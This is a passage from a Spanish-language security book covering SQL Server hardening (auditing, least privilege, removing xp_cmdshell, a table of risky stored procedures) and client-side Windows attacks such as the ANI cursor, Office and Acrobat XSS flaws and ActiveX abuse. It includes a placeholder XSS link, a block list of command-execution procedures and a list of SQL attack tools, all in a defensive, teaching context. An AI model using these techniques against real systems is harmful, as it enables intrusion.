de SQL Server ocurre cuando se penetra un sitio Web mal administrado y sirve como plataforma
para ataques contra el servidor. Cuando un atacante controla un servidor (o cualquier cliente)
Web, por lo general encontrará cadenas de conexión y verá cómo y dónde están conectadas las
aplicaciones actuales al servidor SQL. Empleando esta información, los atacantes pueden fácil-
mente hacer movimientos en contra de SQL Server utilizando ese contexto.
Además, algunas vulnerabilidades tienen como destino a clientes de SQL Server, más que al
propio servidor. Por ejemplo, si existen vulnerabilidades en SQL Server Management Studio, un
atacante podría configurar, en teoría, un servidor de caballo de Troya y esperar a que un admi-
nistrador de SQL intente una conexión, lo que permitiría que el atacante controle la máquina del
usuario. Este tipo de ataque podría ser devastador al tomar como objetivo a los usuarios que tie-
nen el nivel de privilegios más elevado. Tómese el tiempo de asegurarse de que no sólo bloquea
y aplica parches a SQL Server sino también a cualquier servidor o cliente Web que esté conecta-
do a sus servidores de SQL.
Habilite el registro de autentificación de SQL Server Como opción predeterminada, el registro de
autentificación está deshabilitado en las versiones anteriores a SQL Server 2005. Puede remediar
09_SCAMBRAY_09.indd 310 7/28/08 9:14:54 PM

esta situación con un solo comando, y se recomienda que lo haga de inmediato. Luego puede
usar el Management Studio y buscar bajo Propiedades del servidor, en la ficha Seguridad, o uti-
lizar el siguiente comando en SQL Server empleando Management Studio o sqlcmd (la siguien-
te es una sola línea dividida en dos debido a las restricciones de la página):
Master..xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel', REG_DWORD,3
Si audita los registros que fallan, tienen éxito, o ambas cosas, depende por completo de sus
necesidades, pero no hay excusa para no auditar por lo menos los registros fallidos.
Cifre datos cuando sea posible Es absurdo suponer que sus redes están siempre seguras de los
olfateadores de paquetes y otras técnicas de vigilancia pasivas. Siempre incluya cifrado de da-
tos de SQL Server en sus sesiones de evaluación de amenazas. Microsoft ha recorrido un largo
trecho para proporcionar una gran cantidad de opciones para cifrado de sesiones, y sería una
pena que no las implementara si puede encontrar una manera de evitar posibles pérdidas debi-
do al trabajo adicional del cifrado.
Ahora que SQL Server 2005 soporta varios modelos de cifrado, no hay excusa para almace-
nar datos críticos en texto simple en las bases de datos. En caso de que una copia de seguridad
se vea comprometida o que se manifieste una vulnerabilidad de inyección de SQL, con cifrado,
sus datos tendrán una capa adicional de protección que debe reducir enormemente el número
de individuos a los que estarán expuestos los datos.
Por último, se recomienda mucho que todas las cintas de copias de seguridad u otros medios
que contienen bases de datos de SQL Server también estén cifrados. En caso de que se compro-
metan medios de copia de seguridad, necesita asegurarse de que la dificultad técnica sea sufi-
ciente para proteger sus valiosos datos de los ojos curiosos. Si cree que necesita cifrar los archivos
de base de datos en vivo, considere el uso de Encrypted File System (EFS) o el cifrado de Bitloc-
ker empleado en Windows Vista.
Use el principio de la menor cantidad de privilegios ¿Si la persona que cuida a su perro necesita en-
trar por la puerta trasera, le daría el llavero con las llaves de la casa y las del Porsche? Por supues-
to que no. ¿Entonces por qué tener una aplicación de producción ejecutándose como la cuenta sa
o un usuario con privilegios de propietario de la base de datos? Tómese el tiempo durante la ins-
talación de su aplicación de crear una cuenta de bajos privilegios para la conectividad cotidiana.
Se requiere un poco más de tiempo para asignar permisos por elementos a todos los objetos ne-
cesarios, pero sus esfuerzos se verán recompensados cuando alguien secuestre su aplicación y se
golpee contra una pared de ladrillos de derechos insuficientes para aprovechar la situación.
Además, esté consciente de que algunos principios deben aplicarse a la cuenta bajo la que se
está ejecutando el servicio MSSQLServer. Durante la instalación de SQL Server, se le presenta
una opción de ejecutar SQL Server como cuenta de usuario. Tómese el tiempo de crear una cuen-
ta de usuario (no una de administrador) e ingrese las credenciales de usuario durante la instala-
ción. Esto restringirá a los usuarios que ejecutan procedimientos almacenados como
administrador de sistema y evitará que se vuelvan de inmediato administradores del sistema
operativo local o que usen la cuenta del sistema (LocalSystem).
Las cuentas locales funcionarán bien en casi todas las instalaciones en lugar de LocalSystem
o las cuentas de dominio mencionadas en los Libros en pantalla. El uso de cuentas locales puede
ayudar a contener una penetración porque el atacante no podrá usar su contexto de seguridad
recién adquirido para acceder a otros host del dominio. Las cuentas de dominio son necesarias
sólo para llamadas a procedimientos almacenados, consultas heterogéneas integradas, copias de
09_SCAMBRAY_09.indd 311 7/28/08 9:14:54 PM

seguridad fuera del sistema o ciertos escenarios de replicación. Para usar una cuenta local des-
pués de la instalación, use la ficha Seguridad, bajo Propiedades del servidor, en Management
Studio. Simplemente ingrese el nombre del servidor local en lugar de un dominio, seguido por
un usuario local que haya creado (por ejemplo, nombreservidor\cuentasql) en el indicador Esta
cuenta. Si hace el cambio usando el Administrador corporativo o el Administrador de configu-
ración, SQL Server se ocupará de los cambios necesarios a los permisos como acceso a la clave
de Registro y los archivos de base de datos.
Realización de validación completa de entrada Nunca confíe en que la información que se le está envian-
do desde el cliente es confiable. La validación del lado del cliente puede omitirse, de modo que su
código de JavaScript no lo protege. La única manera de asegurarse de que los datos publicados
desde un cliente no van a causar problemas con su aplicación consiste en validarlos apropiada-
mente. La validación no debe ser complicada. Si un campo de datos debe contener un número,
por ejemplo, puede verificar que el usuario ingresó un número y que se encuentra en un rango
aceptable. Si el campo de datos es alfanumérico, asegúrese de que la longitud y el contenido de
la entrada son aceptables. Las expresiones regulares son una estupenda herramienta para revi-
sar la entrada de caracteres no válidos, aunque los formatos sean complejos, como direcciones
de correo electrónico, contraseñas y direcciones IP.
Prepare una secuencia de comandos de reducción de exposición que se aplique a nuevas instalacio-
nes Una secuencia de comandos de reducción de exposición es una estupenda manera de colo-
car una línea base a todas las instalaciones de SQL Server para que se minimice la exposición a
las explotaciones. Es inaceptable dejar las nuevas instalaciones en un estado inseguro hasta que
un administrador tenga el tiempo de atenderlas. Una secuencias de comandos de reducción de
exposición ayuda a imponer un despliegue “seguro como opción predeterminada” que es crítico
para las instalaciones de servidor y estación de trabajo de SQL Server. Casi todas las configura-
ciones de reducción de exposición son ahora las opciones predeterminadas en SQL Server 2005,
de modo que mucho de esto tal vez no sea necesario, si ya está ejecutando esta plataforma.
Si necesita una rápida explicación sobre una secuencia de comandos de reducción de expo-
sición para su empresa, revise la sección “Referencias y lecturas adicionales”, al final de este ca-
pítulo, para conocer un vínculo. Entre algunas de las cosas que todas las secuencias de comandos
de reducción de exposición hacen se incluyen la configuración de la cuenta sa, la habilitación del
registro, el establecimiento del modo de seguridad de SQL en autentificación de Windows y la
restricción del acceso a los poderosos procedimientos almacenados del sistema y extendidos.
Cuando personalice sus secuencias de comandos de reducción de exposición, recuerde elimi-
nar (o restringir el acceso a) los procedimientos almacenados poderosos, como xp_cmdshell. Para
eliminar un procedimiento almacenado extendido, ingrese los siguientes comandos T-SQL:
use master
sp_dropextendedproc 'xp_cmdshell'
Si preferiría simplemente asegurarse de que los miembros de la función pública no pueden
acceder a un procedimiento almacenado extendido, use el siguiente código como ejemplo:
REVOKE execute on xp_instance_regread to public
GO
En casi ningún caso, hay razón para que los usuarios o cualquier otra persona usen SQL Ser-
ver para ejecutar comandos contra el sistema operativo. En la tabla 9-4 se presenta una lista de
los otros procedimientos almacenados cuya eliminación o restricción deben considerar los admi-
nistradores del sistema. Recuerde que los atacantes habilidosos pueden regresar XP eliminados
09_SCAMBRAY_09.indd 312 7/28/08 9:14:55 PM

a su servidor si éste se encuentra lo suficientemente comprometido, pero por lo menos habrá

hecho lo necesario para impedirlo (y quienes no tienen los recursos para hacerlo se quedarán
fríos). Además, esté avisado de antemano de que la eliminación excesiva de procedimientos al-
macenados puede causar problemas con la instalación de service packs y correcciones actualiza-
das. Si elimina cualquier procedimiento almacenado extendido, asegúrese de restaurarlo antes
de aplicar service pack o correcciones.
Incorpore revisión de integridad y control de cambios Es vital asegurarse de que su código de SQL
permanece seguro ante cualquier intento de modificación por parte de los atacantes (quienes tal
vez traten de establecer canales encubiertos al colocar caballos de Troya en código SQL) o inclu-
so desarrolladores muy celosos. En momentos de crisis, es muy posible que alguien pueda im-
plementar rutinas inseguras como un esfuerzo por hacer que las cosas resulten operacionales. Si
no se revisan, este tipo de entropía puede dejar hecho añicos una instalación que de otra manera
estaría bien asegurada. Cuando se desplieguen los procedimientos almacenados, las tablas, los
desencadenadores, las vistas y cualquier otro objeto de base de datos de SQL Server, tenga un
cuidado especial en revisar el código contra el original de manera regular para asegurarse de
que no hayan ocurrido cambios no autorizados.
Uso de SQL Profiler para identificar puntos débiles Una técnica excelente para encontrar agujeros
para inyección de SQL consiste en inyectar una cadena de explotación en campos de su aplica-
ción mientras se ejecuta SQL Profiler y se vigila lo que está viendo el monitor. Para facilitar esta
tarea, es útil usar un filtro en el campo TextData en SQL Profiler que coincida con su cadena de
explotación. Un ejemplo de una cadena de explotación es algo tan simple como una sola comilla
rodeada por dos caracteres raros, como la letra z, como se muestra en la figura 9-10. Sus rutinas
de validación de entrada quitan la comilla o la convierten en una comilla doble, para que pueda
almacenarse apropiadamente como literal.
sp_OACreate xp_enumgroups xp_runwebtask

sp_OADestroy xp_enumqueuedtasks xp_schedulersignal
sp_OAGetErrorInfo xp_eventlog xp_sendmail
sp_OAGetProperty xp_findnextmsg xp_servicecontrol
sp_OAMethod xp_fixeddrives xp_snmp_getstate
sp_OASetProperty xp_getfiledetails xp_snmp_raisetrap
xp_cmdshell xp_getnetname xp_sprintf
xp_deletemail xp_grantlogin xp_sqlinventory
xp_dirtree xp_logevent xp_sqlregister
xp_dropwebtask xp_readerrorlog xp_sqltrace
xp_dsninfo xp_readmail xp_sscanf
xp_enumdsn xp_revokelogin xp_startmail
xp_enumerrorlogs
Tabla 9-4 Procedimientos almacenados cuya eliminación debe tomarse en consideración
09_SCAMBRAY_09.indd 313 7/28/08 9:14:56 PM

Figura 9-10 Las trazas de SQL Profiler son útiles para determinar los agujeros de inyección de SQL
Use alertas para monitorear posible actividad maliciosa Al implementar alertas en eventos clave de
SQL Server (como inicios de sesión fallidos), es posible avisar a los administradores de que algo
está mal. Un ejemplo es crear una alerta sobre los ID de evento 18450, 18451, 18452 y 18456 (in-
tento fallido de inicio de sesión) que contienen el texto ’sa’ (incluidas las comillas para que la
alerta no se dispare cada vez que el usuario Lisa inicie sesión). Esto permitiría que se alerte a un
administrador cada vez que alguien hace un intento fallido por acceder a SQL Server como sa y
podría ser un indicativo de que se está realizando un ataque de fuerza bruta.
Desaliente el uso de las instrucciones T-SQL EXEC o sp_executesql El uso de cualquiera de estas ins-
trucciones en SQL Server representa el equivalente de la construcción de cadenas en la base de
datos. Con el uso apropiado de QUOTENAME y REPLACE en su código T-SQL, puede realizar va-
lidación de entrada en el código, pero la ruta más segura consiste en evitar por completo el uso
de estas instrucciones. La construcción de cadenas sólo aumenta su superficie para el ataque, de
modo que evítelo hasta donde sea posible.
La siguiente es una pieza de ejemplo de código T-SQL que le ayuda a buscar procedimientos
almacenados que pueden contener esas instrucciones peligrosas:
09_SCAMBRAY_09.indd 314 7/28/08 9:14:57 PM

select o.name, o.type from syscomments c inner join sysobjects o on

o.id=c.id
where o.type='P' AND ([text] like '%sp_executesql%' OR [text] like
'%EXEC(%' OR
[text] like '%EXECUTE(%')
Considere la contratación o la capacitación de personal de aseguramiento de calidad para prueba En el

caso de quienes están desarrollando constantemente nuevo software en compañías para las cua-
les sería prohibitivamente caro realizar auditorias externas de calidad, es recomendable que se
use el personal actual o nuevo de aseguramiento de calidad para realizar las auditorías. Como
estas personas ya estarán probando y explorando sus aplicaciones en busca de errores y de fun-
cionalidad, suele ser una opción eficiente hacer que prueben ataques de inyección de SQL y
otros problemas de seguridad en la programación antes de que distribuya su software. Es mu-
cho mejor que dedique tiempo por anticipado para probar el software antes de que termine en
Bugtraq u otra lista de correos de seguridad y empiece a preocuparse por lanzar sus service pac-
ks. ¿Alguna vez ha oído el dicho “Vale más prevenir que lamentar?” Es cierto.
RESUMEN
En este capítulo, hemos cubierto una gran cantidad de información relacionada con la seguridad
en Microsoft SQL Server. Empezamos con un estudio de caso que ilustra el mecanismo más co-
mún de compromiso y continuamos con un examen de la manera en que funciona el modelo de
seguridad de SQL Server. También mencionamos algunas de las nuevas características que Mi-
crosoft ha incluido en SQL Server 2005 para ayudar a asegurar sus instalaciones.
Examinamos algunas técnicas que los atacantes podrían usar para obtener información acer-
ca de sus bases de datos antes de realizar un ataque abierto. Si identifica las posibles fugas de
información en su organización, podría cerrarlas antes de que un atacante las descubra. He-
mos revisado algunas de las herramientas comerciales en el juego de la explotación de SQL
Server, y analizamos por qué es una mala idea dejar un servidor de SQL en el modo de seguri-
dad combinada abierto al mundo.
A continuación, exploramos el mundo de la inyección de SQL y la manera en que las aplica-
ciones pueden exponer SQL Server al ataque. A esto le siguió un análisis a profundidad de las
técnicas, herramientas y consecuencias de la inyección. Analizamos las contramedidas para tra-
tar con la amenaza y codificamos sugerencias que le ayudarán a seguir adelante.
Por último, analizamos lo que puede hacer su organización para proteger sus servidores y
aplicaciones de SQL de los ataques internos y externos. Tómese el tiempo de comparar su infraes-
tructura actual con la lista de verificación y vea si puede mejorar la seguridad. Tenga en mente que
es absurdo depender de una sola capa de seguridad. Estas prácticas son mejores cuando se combi-
nan, de modo que cuando (no si) una capa falla, otra capa de seguridad puede respaldarla.
Esperamos que ahora ya esté completamente consciente de la seriedad de los problemas de
seguridad de SQL Server y el efecto que una falta de seguridad puede tener sobre sus valiosos da-
tos. Tómese el tiempo de catalogar todos los servidores de SQL de su organización y compare sus
configuraciones con las mejores prácticas. Además, necesita prestar especial atención a las aplica-
ciones que usan SQL Server para asegurarse de que sus vulnerabilidades no derriben sus defen-
sas. Si siempre se pone en el papel del atacante y está vigilando constantemente los cambios en la
configuración de sus servidores y los posibles agujeros de seguridad, sus opciones serán buenas.
09_SCAMBRAY_09.indd 315 7/28/08 9:14:58 PM


Paros www.parosproxy.org
Absinthe www.0x90.org
BobCat www.northern-monkee.co.uk/projects/bobcat/
bobcat.html
Sqlninja http://sqlninja.sourceforge.net/
SQL Power Injector www.sqlpowerinjector.com
Achilles www.mavensecurity.com/achilles
OWASP WebScarab Project www.owasp.org/index.php/Category:OWASP_
Webscarab_Project
Sqlpoke, sqlbf, sqldict y diccionarios diversos http://packetstormsecurity.org
SQLPing www.sqlsecurity.com/Tools/FreeTools/tabid/65/
Default.aspx
Otras vulnerabilidades de SQL Server
Gusano Slammer de SQL www.cert.org/advisories/CA-2003-04.html
Herramientas de generación de código www.codegeneration.net
Mejoramiento de seguridad de datos al usar SQL www.microsoft.com/technet/itshowcase/con-
Server 2005 tent/sqldatasec.mspx
SQL Server 2000 Best Practices Analyzer www.microsoft.com/downloads/details.
aspx?FamilyID=B352EB1F-D3CA-44EE-893E-9E07
339C1F22&displaylang=en
WebGoat Appliction Security Trainer www.owasp.org/index.php/Category:OWASP_
WebGoat_Project
Writing Secure Code, 2a edición por Michael Howard y David C. LeBlanc, Micro-
soft Press (2002)
“New SQL Truncation Attacks and How to Avoid http://msdn.microsoft.com/msdnmag/is-
Them”, por Bala Neerumalla sues/06/11/SQLSecurity/default.aspx
Advanced SQL Injections in SQL Server Applica- www.nextgenss.com/research/papers
tions
“Threat Profiling Microsoft SQL Server”, por www.cgisecurity.com/lib/tp-SQL2000.pdf
David Litchfield
Sitio Web de referencias de seguridad en SQL www.sqlsecurity.com
Secuencia de comandos de reducción de ex- www.sqlsecurity.com/Tools/LockdownScript/
posición de seguridad de SQL para SQL 2000 tabid/64/Default.aspx
09_SCAMBRAY_09.indd 316 7/28/08 9:14:59 PM

capítulo 10
E O D E
H A C K S
C I O N E
APL I C A
N T E D E
C L I E
O S O F T
M I C R
317
10_SCAMBRAY_10.indd 317 7/28/08 9:38:41 PM

H
abiendo tratado ya las aplicaciones y servicios de Windows unidos a servidor, ahora
volcamos nuestra atención al otro extremo de las comunicaciones de red: el cliente.
Históricamente, se le ha dado poca importancia al extremo del cliente en la seguridad
de Windows, sobre todo debido a que los atacantes se concentran en las abundantes vulnerabi-
lidades del servidor. A medida que ha mejorado la seguridad del lado del servidor, los atacantes
han migrado al siguiente parche obvio de superficie de ataque.
Una simple mirada a encabezados recientes ilustrarán lo que se ha convertido en una colosal
calamidad en la seguridad del cliente. Términos como suplantación de identidad (phishing), spyware
y adware, antes pronunciados sólo por los avezados en tecnología, ahora hacen su aparición re-
gular en los medios de comunicación. El desfile de vulnerabilidades en el software de cliente
más popular del mundo parece nunca terminar. Elementos delincuenciales organizados están
explotando cada vez más tecnologías de cliente para cometer fraudes contra consumidores y ne-
gocios en línea de manera masiva. Muchas autoridades se han dado cuenta tardíamente que por
lo menos existen tantas vulnerabilidades de seguridad serias en el “otro” extremo del telescopio
de la seguridad, y muchos otros factores hacen que tengan por lo menos las mismas, si no es que
más, posibilidades de ser explotados.
En realidad, el tráfico legítimo entrante de Internet es probablemente uno de los vectores
más efectivos para el código malicioso disponible hoy en día. Las firewalls corporativas prote-
gen el tráfico entrante a los servidores, pero reenvían alegremente el tráfico a usuarios internos
que exploran Web y leen correo electrónico, por lo general con escasos filtros. ¿Y qué empresa
podría operar por mucho tiempo en la economía de hoy en día sin Web o correo electrónico? Por
tanto, lo peor que tiene que ofrecer Internet es que se le dirige con toda facilidad directamente a
quienes están menos conscientes del peligro: el usuario final.
No sólo están abiertas las puertas a este entorno rico en destinos, sino que se han desarrolla-
do tecnologías de Internet de varios tipos para permitir la ejecución relativamente simple de co-
mandos remotos en el sistema cliente, ya sea que esté incrustado en una página Web o en un
mensaje de correo electrónico. Una vez que este contenido activo “detona” en la red interna,
puede arrojar el equivalente al control externo directo.
Analizaremos estos factores y vulnerabilidades relativas en este capítulo. Nuestro análisis se
organiza alrededor de los siguientes tipos básicos de ataques a clientes:
• Explotaciones Se ejecuta código malicioso ejecutable en un cliente y su sistema

host mediante una vulnerabilidad ostensible (incluidos errores de software, malas
configuraciones, o ambos). En caso de estar ausentes estas vulnerabilidades, este
método es obviamente mucho más difícil para los atacantes, y por lo general regresan
al método probado por el ensayo y el error de la ingeniería social (consulte el siguiente
punto).
• Trucos El uso de trucos puede causar que el operador humano del software de cliente
envíe información valiosa al atacante, sin importar las vulnerabilidades evidentes en
la plataforma del cliente. En esencia, el atacante “pica” al cliente con algún mensaje
atractivo y luego el cliente (o su operador humano, o ambos) envía información
confidencial directamente al atacante o instala algún software que el atacante usa luego
para obtener datos del sistema del cliente.
Como siempre, analizaremos contramedidas en articulaciones críticas, además de hacerlo

también al final del capítulo, de manera resumida.
10_SCAMBRAY_10.indd 318 7/28/08 9:38:42 PM

Capítulo 10: Hackeo de aplicaciones cliente de Microsoft 319
EXPLOTACIONES
La premisa fundamental de esta clase de ataques es hacer que el cliente Web ejecute código que
hace lo pedido por el atacante. En esta sección, analizaremos ataques contra varios conjuntos
de aplicaciones de cliente de Windows, lo que ilustra la rica superficie de ataque de aplicacio-
nes de cliente disponibles en los modernos sistemas Windows.
Vulnerabilidad de cursor animado (ANI)

Popularidad: 7
Simplicidad: 5
Impacto: 9
Alexander Sotirov descubrió esta vulnerabilidad que afecta a todas las versiones no parcha-
das de Windows hasta Vista. Los cursores animados son características que permiten que una
serie de marcos aparezcan en el lugar del puntero del ratón en lugar de una sola imagen, lo que
da como resultado el aspecto de un comportamiento dinámico, o animación. Los tipos de archi-
vo de cursor animado tienen el sufijo .ani, .cur o .ico, aunque el sufijo en realidad no importa,
porque Windows reconoce un archivo de cursor animado si empieza con la secuencia ASCII
RIFF (hex 52 49 46 46). La vulnerabilidad es un simple sobreflujo del búfer explotado mediante
encabezados de archivo de tamaño excesivo, y podría implementarse fácilmente un ataque al
hacer que una víctima vea un cursor malicioso o archivo de icono mediante un sitio Web mali-
cioso o un mensaje de correo electrónico de texto enriquecido. En realidad, en las noticias se re-
porta alrededor de abril de 2007 que una campaña de correo basura “tóxico” que contenía
imágenes de la estrella pop Britney Spears era usado por un hacker para engañar a los visitantes
de Internet para que fueran a sitios Web que explotaban la vulnerabilidad de cursor animado.
Alexander publicó un video que documentaba una explotación de Vista que ejecutaba IE 7
empleando el Metasploit Framework que enviaba un shell de comando de regreso al atacante
(consulte “Referencias y lecturas adicionales” para conocer un vínculo). Debido al modo prote-
gido de Vista/IE 7, el shell del comando retenía sólo los privilegios del proceso comprometido y
no tenía acceso de escritura a nada del sistema (aparte de los directorios temporales de IE y la
configuración del Registro). Otra explotación fue publicada por milw0rm y Skylined que usaba
una tecnología de corrupción del montón junto con un archivo de icono (llamado riff.htm), por
cierto) que lanzaba calculator.exe en versiones RTM de Vista.
Contramedidas ante el cursor animado

Obviamente, obtener e instalar el parche es la defensa absoluta contra estos ataques. El boletín
de seguridad de Microsoft MS07-017 contiene los detalles relevantes del parche. La ejecución
de Vista con el modo protegido de IE 7 (la opción predeterminada) también mitiga el impacto
de la explotación exitosa (aunque un atacante aún tendría acceso a todos sus datos). Otros mé-
todos se analizan en la sección “Contramedidas generales”, en páginas posteriores de este ca-
pítulo, porque son aplicables a casi todas las demás vulnerabilidades de cliente analizadas en
este capítulo.
10_SCAMBRAY_10.indd 319 7/28/08 9:38:44 PM

Explotaciones de documentos de Office

Popularidad: 7
Simplicidad: 5
Impacto: 9
Con la casi ubicuidad de los archivos de Microsoft Office (Word, PowerPoint, Excel) que se
trafican en todo el mundo mediante correo electrónico y Web, sorprende poco que la comunidad
de atacantes empezara a tomar un gran interés en identificar las vulnerabilidades en estos for-
matos de archivo. Este método ya era popular, pero en 2006 y 2007 una gran cantidad de esas
vulnerabilidades empezaron a reportarse públicamente, como lo registran los boletines de Mi-
crosoft MS06-003, -010, -012, -027, -028, -037, -038, -039, -048, -058, -059, -060 y -062; y MS07-001,
-002, -003, -014, -015, -023, -024 y -025. Esto se compara con las menos de cinco vulnerabilidades
relacionadas con Office y anunciadas en 2005 (de acuerdo con nuestra cuenta aproximada).
Obviamente, aquí podría analizarse gran cantidad de vulnerabilidades específicas, pero nos
concentraremos en una para ilustrar el problema más grande. A finales de 2006, Arnaud Dovi
descubrió una vulnerabilidad de eliminación de referencia nula a puntero en la manera de cam-
pos de notas de diapositiva insertadas en presentaciones de PowerPoint. Si el atacante podía
hacer que la víctima abriera un archivo malicioso de PowerPoint, se obtenía la ejecución arbitra-
ria de código. Una vulnerabilidad similar había explotado código publicado y se presentaron
mayores detalles en el blog del centro de respuesta de seguridad de Microsoft (MSRC, Microsoft’s
Security Response Center), como se ve en la sección “Referencias y lecturas adicionales”. Este
código explotado generaba un archivo malicioso de PowerPoint llamado Nanika.ppt, que cau-
saba que PowerPoint dejara de funcionar cuando se abría.
Contramedidas ante la explotación de documentos de Office

Es evidente que lo recomendable es mantenerse al día con los parches de todo el software de
aplicación (no sólo para el sistema operativo), sobre todo el software de despliegue tan amplio
como Microsoft Office, que es probable que sea tomado como destino por los atacantes. Mu-
chos comercializadores están ofreciendo servicios de actualización automatizados para quitar
esta carga a los usuarios y hacer más probable la aplicación de parches de una manera oportuna.
Otra recomendación clave es ser extraordinariamente precavido con los archivos recibidos
de fuentes no confiables, sean datos adjuntos de correo electrónico o hipervínculos reenviados
desde fuentes no confiables. Sabemos que es más fácil decir esto que hacerlo, pero bien vale la
pena el esfuerzo. Una buena opción que debe tomarse en consideración es el entorno de conver-
sión aislado de Microsoft Office (MOICE, Microsoft Office Isolated Conversion Environment),
que convierte los formatos de archivo binario de Word, PowerPoint y Excel en el formato XML
abierto de Office, de menor riesgo, mientras se abren. MOICE tiene algunas limitaciones (por
ejemplo, sólo funciona con Office 2003 y 2007). (Consulte “Referencias y lecturas adicionales”
para conocer un vínculo con más detalles).
Además, iniciar sesión utilizando la cuenta con la menor cantidad de privilegios también
ayuda a mitigar los efectos de las explotaciones que alcanzan el éxito. A veces esto sirve poco de
consuelo, porque un atacante aún puede, con frecuencia, acceder a datos confidenciales relacio-
nados con la cuenta que inició sesión, pero al menos evita el compromiso de todo el sistema, que
es mucho más difícil de detectar y erradicar.
10_SCAMBRAY_10.indd 320 7/28/08 9:38:44 PM

Como lo hemos analizado en todo el libro, Windows Vista y posteriores hacen que sea mu-
cho más fácil ejecutar con la menor cantidad de privilegios mediante características como el
Control de cuentas de usuario y el modo protegido de IE.
Analizaremos más contramedidas ante estos ataques en la sección, “Contramedidas genera-
les”, en páginas posteriores de este capítulo, porque suelen ser aplicables a éstos y otros tipos de
ataques que analizaremos en este capítulo.
Secuencias de comandos de sitio cruzado mediante Adobe Acrobat

Popularidad: 4
Simplicidad: 7
Impacto: 6
Elegiremos ahora otro comercializador importante de software para mostrar que Microsoft
no es el único al que toman como objetivo los ataques maliciosos a documentos. Uno de los vec-
tores de ataque mejor conocidos para explotar vulnerabilidades del lado del cliente es la secuen-
cias de comandos de sitio cruzado (XSS, Cross Site Scripting) (consulte “Referencias y lecturas
adicionales”). XSS es, en esencia, la explotación de una vulnerabilidad de inyección de entrada
en un servidor que ejecuta comandos arbitrarios en el cliente. Empleando una vulnerabilidad de
seguridad en Adobe Acrobat Reader, Stefano Di Paola y Giorgio Fedon identificaron una falla
que permitiría al atacante ejecutar ataques a XSS mediante cualquier sitio Web que hospedara
archivos PDF. He aquí un vínculo de ejemplo:
http://host.com/ruta/a/pdf?cualquiera=javascript malicioso
El ataque se realiza mediante uno de los mecanismos clásicos, como la página Web maliciosa
o el mensaje de correo electrónico en texto enriquecido. Una víctima que hace clic en el vínculo
permitirá que el código de JavaScript se ejecute en el explorador del usuario. A primera vista, esto
parecería lo mismo que cualquier otro ataque a XSS o de suplantación de identidad. Sin embargo,
la importancia recae en el hecho de que la vulnerabilidad permite al atacante elegir como objetivo
cualquier servidor Web que hospede archivos PDF. Dado que los modelos de seguridad de explo-
rador restringen el acceso de JavaScript a los dominios, esta vulnerabilidad permite a un atacan-
te inyectar JavaScript y hacer que se ejecute en muchos sitios Web públicos y privados, siempre y
cuando hospeden archivos PDF. Se han desarrollado explotaciones de prueba de concepto que
permiten a los atacantes secuestrar sesiones de banca en línea populares y sitios de correo elec-
trónico basados en Web (consulte “Referencias y lecturas adicionales” para conocer vínculos).
Consulte Hacking Exposed: Web Applications, 2a edición, para conocer más antecedentes sobre los
Nota
ataques a secuencias de comandos de sitio cruzado.
Contramedidas ante XSS de Adobe Acrobat

Al igual que con muchas vulnerabilidades, la primera línea de defensa consiste en asegurarse que
su aplicación está parchada con el último parche de seguridad; en este caso, Adobe Acrobat 7.0.8
10_SCAMBRAY_10.indd 321 7/28/08 9:38:45 PM

o superior corrige el problema, de acuerdo con el boletín de seguridad de Adobe APSA07-01. La

característica de actualización automática de Adobe hace que esto resulte conveniente para la ma-
yoría de los usuarios.
Sin embargo, muchos operadores de sitios Web no pueden depender de que todos sus usua-
rios actualicen sus lectores de Acrobat de manera oportuna. En ocasiones, eliminar todos los ar-
chivos PDF de un sitio Web no es una opción viable. Una solución temporal consiste en obligar
al usuario a descargar el PDF o transmitir el PDF como un flujo de octetos.
Nota Un problema perenne de seguridad que resulta similar para los clientes de Microsoft es el URL
file://nombreservidor/recurso incrustado en una página Web maliciosa o un mensaje de correo
electrónico en HTML, que invocará una sesión de bloque de mensaje de servidor (SMB, Server
Message Block), con un nombre de servidor, que posiblemente proporcione credenciales LM/NTLM
a espías y que abre el sistema del cliente a un servidor falso y a ataques de intermediarios. Estos
ataques se cubrieron en el capítulo 5.
Abuso de ActiveX
Popularidad: 4
Simplicidad: 3
Impacto: 10
ActiveX ha sido el centro de los debates en seguridad desde su surgimiento a mediados de

la década de 1990, cuando Fred McLain publicó un control ActiveX que apagaba en forma remo-
ta el sistema del usuario. ActiveX se incrusta fácilmente en HTML, empleando la etiqueta <OB-
JECT>, y los controles pueden cargarse desde sitios remotos o el sistema local. Estos controles
pueden realizar casi cualquier tarea con el privilegio de quien llama, lo que los vuelve extrema-
damente poderosos, y también un objetivo tradicional para los atacantes. El sistema Authentico-
de de Microsoft, basado en la firma digital de controles “confiables”, es la contramedida de
seguridad principal contra los controles maliciosos. (Consulte “Referencias y lecturas adiciona-
les” para conocer más información acerca de ActiveX y Authenticode).
De manera tradicional, los atacantes se han concentrado en controles que están preinstala-
dos en las máquinas Windows de las víctimas, porque ya están autentificados y no requiere que
se le pida una autentificación de usuario. A mediados de 1999, Georgi Guninski, Richard M.
Smith y otros reportaron que los atacantes podrían crear instancias de los controles ActiveX mar-
cados con la marca “seguro para creación de copias de seguridad”, sin invocar Authenticode.
Esto sólo aumentó la superficie de ataque de los controles ActiveX que podrían usarse para pro-
pósitos abusivos. Desde la perspectiva de un atacante, todo lo que necesita hacer es encontrar un
control ActiveX preinstalado que realice alguna función privilegiada, como leer la memoria o
escribir archivos en el disco, y es la mitad del camino para explotar el nirvana.
En la tabla 10-1 se presenta una lista de memoria reciente de los controles ActiveX que han
causado más sensación al abusar de ellos. (Esto es sólo una muestra: pruebe a buscar “internet
explorer” en cve.mitre.org/cve, ¡y vea cuántos errores relacionados con ActiveX surgen!).
Para proporcionar un ejemplo más reciente del impacto que puede tener una vulnerabilidad
de ActiveX, examinemos el problema de sobreflujo de búfer del control ActiveX Microsoft Speech
descubierto por Will Dormann. Los controles ActiveX empleados por ActiveVoice y ActiveListen
10_SCAMBRAY_10.indd 322 7/28/08 9:38:45 PM

Control ActiveX Vulnerabilidad pasada Impacto

DHTML Editing El método LoadURL puede Lectura y escritura de datos
violar alguna directiva de
origen
Microsoft DDS Library Corrupción de la memoria Ejecución arbitraria de
Shape Control del montón código como llamador
JView Profiler Corrupción de la memoria Ejecución arbitraria de
del montón código como llamador
ADODB.Stream Ninguna; se usa para Archivos con contenido
escribir datos después de la arbitrario colocado en
explotación LMZ ubicaciones conocidas
Shell.Application Uso de CLSID para (igual que ADODB.Stream)
disfrazar la carga de un
archivo malicioso
Shell.Explorer Vista rica de carpeta de (igual que ADODB.Stream)
ataque cronometrado de
arrastrar y colocar
